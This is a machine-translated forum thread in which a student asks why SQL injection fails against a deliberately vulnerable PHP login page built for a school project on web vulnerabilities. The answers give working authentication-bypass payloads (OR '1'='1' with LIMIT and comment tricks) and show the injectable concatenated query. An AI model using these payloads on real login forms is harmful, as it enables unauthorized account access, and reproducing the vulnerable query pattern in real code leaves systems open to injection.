Моя SQL-инъекция, кажется, не работает?



Мне нужно сделать проект для школы о ряде различных веб-уязвимостей (SQL, XSS, CSRF и т. д.), И я сделал очень простой веб-сайт, чтобы продемонстрировать атаки. Но по какой-то причине я просто не могу заставить SQL-инъекцию работать, атакуя логин.



Вот простой код входа:



$query = "SELECT * FROM customer WHERE cMAIL='$cmail' AND cPWD='$cpwd'";
$res = mysql_query($query) or die(mysql_error());
echo $query . mysql_error();
$count = mysql_num_rows($res);

if ($count == 1) {
echo " Reached target!";
session_start();
$_SESSION["cmail"] = $cmail;
$_SESSION["cpwd"] = $cpwd;
} else {}


Много Эхо-материала, чтобы я мог следить за инъекцией, чтобы увидеть, что происходит, но это дает мне странные результаты.



Если я войду в систему как один из клиентов; имя пользователя: [email protected], password = 123abc, это дает мне ожидаемый ответ:




SELECT * FROM customer WHERE cMAIL='[email protected]' и cPWD= '123abc'
Цель достигнута!




Это то, что он эхом отзывается в браузере, просто чтобы быть ясным!



И сессия создается для jjones. Но если я сделаю это: username: 1 ' или ' 1 ' ='1, password:(пустой), это повторяет это:




Выберите * от клиента, где cMAIL= ' 1 ' или ' 1 ' = ' 1 'и cPWD="




Никаких ошибок или еще чего-нибудь. Я echo'D $count, и он говорит, что 0 строк выбираются из базы данных. Таким образом, инъекция звучит, но я не получаю никаких строк, основанных на запросе. Как мне решить эту проблему?

565   4  

4 ответов:

Вы могли бы произвести

SELECT * FROM customer WHERE cMAIL='1' OR '1'='1' LIMIT 0,1;# AND cPWD=''

С пользователем:

1' OR '1'='1' LIMIT 0,1;#

И пароль пуст.

Чтобы обойти проверку входа в систему, необходимо построить запрос, соответствующий следующей спецификации:

  1. ограничиться толькоодной строкой . (Предел)
  2. где предложение всегда истинно. (логические исчисления)

, так что с решением @Игнасио Окампо-это точно правильный.

Кстати, есть одна вещь, которую вы должны учитывать в SQL-инъекции. Если magic_quotes_gpc включен, PHP автоматически преобразует ' в \'.

Вы можете продемонстрировать SQL-инъекцию в своем примере, установив username в

1' OR 1=1; --

Это сделает ваш окончательный запрос:

SELECT * FROM customer WHERE cMAIL='1' OR 1=1; -- AND cPWD=''

Это комментирует проверку пароля.

Вы должны записать что-то для поля пароля. Прямо сейчас запрос должен соответствовать паролю blank ("").

Что-то вроде следующего сделает вас умным плохим парнем

Username: 1' OR '1' = '1 
Password: doesntmatter' OR '1' = '1

Это переводится как

SELECT * 
FROM customer 
WHERE cMAIL='1' OR '1'='1' 
   AND cPWD='doesntmatter' OR '1' = '1'

Comments

    Ничего не найдено.